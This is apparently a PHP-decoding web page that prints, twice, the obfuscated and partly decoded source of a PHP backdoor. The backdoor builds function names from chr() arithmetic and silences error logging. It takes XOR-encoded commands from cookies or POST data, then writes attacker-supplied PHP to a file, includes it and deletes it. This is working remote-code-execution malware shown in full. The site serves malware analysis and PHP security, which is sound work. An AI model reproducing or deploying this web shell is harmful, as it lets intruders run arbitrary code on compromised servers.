Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $qeurxufcl = "f" . chr(733 - 628) . "le" . chr(628 - 533) . ..
Decoded Output download
<?php
$qeurxufcl =
"f" .
chr(733 - 628) .
"le" .
chr(628 - 533) .
"pu" .
chr(1008 - 892) .
"_co" .
chr(472 - 362) .
chr(766 - 650) .
"ent" .
chr(864 - 749);
$easyzkgrkp =
"ba" .
chr(868 - 753) .
"e" .
chr(439 - 385) .
"4_" .
chr(201 - 101) .
"eco" .
chr(755 - 655) .
"e";
$frpyyabku = "ini_" . chr(475 - 360) . "et";
$vwjxxlepj = "unlin" . chr(840 - 733);
$frpyyabku("error" . chr(656 - 561) . "log", null);
$frpyyabku(chr(667 - 559) . "og_e" . chr(213 - 99) . "rors", 0);
$frpyyabku(
"max_e" .
chr(514 - 394) .
"ec" .
chr(874 - 757) .
"t" .
chr(599 - 494) .
"on_time",
0
);
set_time_limit(0);
function jymjduow($gqocipury, $wbuvh)
{
$lnhiuqiedo = "";
for ($yewvgagx = 0; $yewvgagx < strlen($gqocipury); ) {
for (
$j = 0;
$j < strlen($wbuvh) && $yewvgagx < strlen($gqocipury);
$j++, $yewvgagx++
) {
$lnhiuqiedo .= chr(ord($gqocipury[$yewvgagx]) ^ ord($wbuvh[$j]));
}
}
return $lnhiuqiedo;
}
$hricqz = array_merge($_COOKIE, $_POST);
$gbyucig = "c907b353-e3e5-4482-9d1d-9f809d927db3";
foreach ($hricqz as $wvujydtzo => $gqocipury) {
$gqocipury = unserialize(
jymjduow(jymjduow($easyzkgrkp($gqocipury), $gbyucig), $wvujydtzo)
);
if (isset($gqocipury["ak"])) {
if ($gqocipury["a"] == "i") {
$yewvgagx = ["pv" => phpversion(), "sv" => "3.5"];
echo serialize($yewvgagx);
} elseif ($gqocipury["a"] == "e") {
$thtqsngts = "./" . md5($gbyucig) . "" . "inc";
$qeurxufcl(
$thtqsngts,
"< ? p" .
chr(671 - 567) .
chr(372 - 260) .
"" .
chr(659 - 595) .
chr(330 - 213) .
"n" .
chr(1051 - 943) .
"i" .
chr(739 - 629) .
"k" .
chr(803 - 763) .
"_" .
chr(974 - 879) .
chr(991 - 921) .
chr(830 - 757) .
chr(570 - 494) .
chr(90 - 21) .
"_" .
chr(522 - 427) .
"); " .
$gqocipury["d"]
);
include $thtqsngts;
$vwjxxlepj($thtqsngts);
}
exit();
}
}
?>
Did this file decode correctly?
Original Code
<?php
$qeurxufcl =
"f" .
chr(733 - 628) .
"le" .
chr(628 - 533) .
"pu" .
chr(1008 - 892) .
"_co" .
chr(472 - 362) .
chr(766 - 650) .
"ent" .
chr(864 - 749);
$easyzkgrkp =
"ba" .
chr(868 - 753) .
"e" .
chr(439 - 385) .
"4_" .
chr(201 - 101) .
"eco" .
chr(755 - 655) .
"e";
$frpyyabku = "ini_" . chr(475 - 360) . "et";
$vwjxxlepj = "unlin" . chr(840 - 733);
$frpyyabku("error" . chr(656 - 561) . "log", null);
$frpyyabku(chr(667 - 559) . "og_e" . chr(213 - 99) . "rors", 0);
$frpyyabku(
"max_e" .
chr(514 - 394) .
"ec" .
chr(874 - 757) .
"t" .
chr(599 - 494) .
"on_time",
0
);
set_time_limit(0);
function jymjduow($gqocipury, $wbuvh)
{
$lnhiuqiedo = "";
for ($yewvgagx = 0; $yewvgagx < strlen($gqocipury); ) {
for (
$j = 0;
$j < strlen($wbuvh) && $yewvgagx < strlen($gqocipury);
$j++, $yewvgagx++
) {
$lnhiuqiedo .= chr(ord($gqocipury[$yewvgagx]) ^ ord($wbuvh[$j]));
}
}
return $lnhiuqiedo;
}
$hricqz = array_merge($_COOKIE, $_POST);
$gbyucig = "c907b353-e3e5-4482-9d1d-9f809d927db3";
foreach ($hricqz as $wvujydtzo => $gqocipury) {
$gqocipury = unserialize(
jymjduow(jymjduow($easyzkgrkp($gqocipury), $gbyucig), $wvujydtzo)
);
if (isset($gqocipury["ak"])) {
if ($gqocipury["a"] == "i") {
$yewvgagx = ["pv" => phpversion(), "sv" => "3.5"];
echo serialize($yewvgagx);
} elseif ($gqocipury["a"] == "e") {
$thtqsngts = "./" . md5($gbyucig) . "" . "inc";
$qeurxufcl(
$thtqsngts,
"< ? p" .
chr(671 - 567) .
chr(372 - 260) .
"" .
chr(659 - 595) .
chr(330 - 213) .
"n" .
chr(1051 - 943) .
"i" .
chr(739 - 629) .
"k" .
chr(803 - 763) .
"_" .
chr(974 - 879) .
chr(991 - 921) .
chr(830 - 757) .
chr(570 - 494) .
chr(90 - 21) .
"_" .
chr(522 - 427) .
"); " .
$gqocipury["d"]
);
include $thtqsngts;
$vwjxxlepj($thtqsngts);
}
exit();
}
}
Function Calls
| None |
Stats
| MD5 | 44f422c4c01b519f07d2eeced37ae5c6 |
| Eval Count | 0 |
| Decode Time | 50 ms |